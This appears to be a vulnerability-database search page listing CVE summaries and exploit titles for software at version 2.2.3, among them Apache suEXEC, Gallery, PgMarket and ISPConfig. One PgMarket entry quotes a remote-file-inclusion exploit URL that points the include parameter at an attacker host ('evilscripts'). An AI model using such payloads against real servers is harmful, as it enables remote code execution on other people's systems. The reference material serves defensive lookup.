556 matches found
AutoIndex PHP Script 2.2.2/2.2.3 - 'index.php' Denial of Service
source: https://www.securityfocus.com/bid/26410/info AutoIndex PHP Script is prone to a remote denial-of-service vulnerability because the application fails to properly handle unexpected input. Successfully exploiting this issue allows remote attackers to consume excessive CPU resources,...
FreeBSD : gallery2 -- multiple vulnerabilities (9b718b82-8ef5-11dc-8e42-001c2514716c)
Gallery project reports : Gallery 2.2.3 addresses the following security vulnerabilities : - Unauthorized renaming of items possible with WebDAV reported by Merrick Manalastas - Unauthorized modification and retrieval of item properties possible with WebDAV - Unauthorized locking and replacing of...
Gallery < 2.2.3 Information Disclosure
Binary data 4205.prm...
CVE-2007-4650
Multiple unspecified vulnerabilities in Gallery before 2.2.3 allow attackers to 1 rename items, 2 read and modify item properties, or 3 lock and replace items via unknown vectors in a the WebDAV module; and 4 edit unspecified data files using "linked items" in WebDAV and b Reupload modules...
Apache HTTPD suEXEC本地特权提升漏洞
Apache HTTP server是一款流行的WEB服务程序。 Apache HTTP server包含的suexec应用程序存在设计问题，本地攻击者可以利用漏洞提升特权。 问题一是路径检查竞争条件漏洞 在获得当前目录和更改目录中存在竞争条件问题。另一个存在于更改目录和检查目录是否为链接也存在竞争条件问题。目录结构在这些操作中更换，会导致可以在攻击者选择的任意目录中执行lstat。通过使用符号链接或重命名父目录来利用。第三个竞争条件存在于最后符号链接检查和执行目标两进制程序中。 问题二是路径检查错误 suexec工具使用strncmp检查是否当前目录是DOCU...
CVE-2007-1742
suexec in Apache HTTP Server httpd 2.2.3 uses a partial comparison for verifying whether the current directory is within the document root, which might allow local users to perform unauthorized operations on incorrect directories, as demonstrated using "htmlbackup" and "htmleditor" under an "html...
PT-2007-3107 · Apache · Apache Http Server
Name of the Vulnerable Software and Affected Versions: Apache HTTP Server httpd version 2.2.3 Description: The issue in suexec allows local users to potentially perform unauthorized operations on incorrect directories due to a partial comparison for verifying the current directory within the...
Buffer overflow
Zend Platform 2.2.3 and earlier has incorrect ownership for scd.sh and certain other files, which allows local users to gain root privileges by modifying the files. NOTE: this only occurs when safemode and openbasedir are disabled; other settings require leverage for other vulnerabilities...
PgMarket <= 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerability
No description provided by source. C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit:...
Xoops 2.2.3 - search.php Cross-Site Scripting
Xoops 2.2.3 - search.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20514/info Xoops is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code execute in the...
POC & exploit for Apache mod_rewrite off-by-one
Public release date of POC/Exploit: 2006-08-20 Author: Jacobo Avariento Gimeno CVE id: CVE-2006-3747 Bugtraq id: 19204 CERT advisory: VU395412 Severity: high Introduction ---- On July 28 2006 Mark Dowd McAfee Avert Labs reported a vulnerability found in modrewrite apache module to the bugtraq...
CVE-2006-4115
PHP remote file inclusion vulnerability in common.inc.php in PgMarket 2.2.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via the CFGlibdir parameter...
CVE-2006-4115
CVE-2006-4115 describes a PHP remote file inclusion vulnerability in PgMarket 2.2.3, triggered when register_globals is enabled. The flaw allows remote attackers to execute arbitrary PHP code via the CFG[libdir] parameter in common.inc.php. Connected sources (NVD entry) confirm the affected softw...
PgMarket 2.2.3 - CFG[libdir] Remote File Inclusion
PgMarket 2.2.3 - CFGlibdir Remote File Inclusion C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit:...
PgMarket <= 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== PgMarket = 2.2.3 CFGlibdir Remote File Inclusion Vulnerability =================================================================== C Y B E R - W A R R i O R T I M PgMarket...
PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion
C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://server/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke, Preddy,...
CVE-2006-3042
Multiple PHP remote file inclusion vulnerabilities in ISPConfig 2.2.3 allow remote attackers to execute arbitrary PHP code via a URL in the 1 goinfoispclassesroot parameter in a server.inc.php, and the 2 goinfoserverclassesroot parameter in b app.inc.php, c login.php, and d trylogin.php. NOTE: th...
CVE-2006-3042
CVE-2006-3042 concerns ISPConfig 2.2.3, with multiple PHP remote file inclusion vulnerabilities. An attacker could craft a URL to trigger inclusion via the go_info[isp][classes_root] parameter in server.inc.php or the go_info[server][classes_root] parameter in app.inc.php, login.php, or trylogin....
PT-2006-3947 · Ispconfig · Ispconfig
Name of the Vulnerable Software and Affected Versions: ISPConfig version 2.2.3 Description: Multiple PHP remote file inclusion issues allow remote attackers to execute arbitrary PHP code via a URL in the go infoispclasses root parameter in server.inc.php, and the go infoserverclasses root paramet...
CVE-2005-3964
CVE-2005-3964 affects OpenMotif libUil, specifically libUil.so in version 2.2.3 (and possibly others). The vulnerability arises from multiple buffer overflows in the UilDiags.c diag_issue_diagnostic and UilSrcSrc.c open_source_file functions, enabling arbitrary code execution by an attacker. Publ...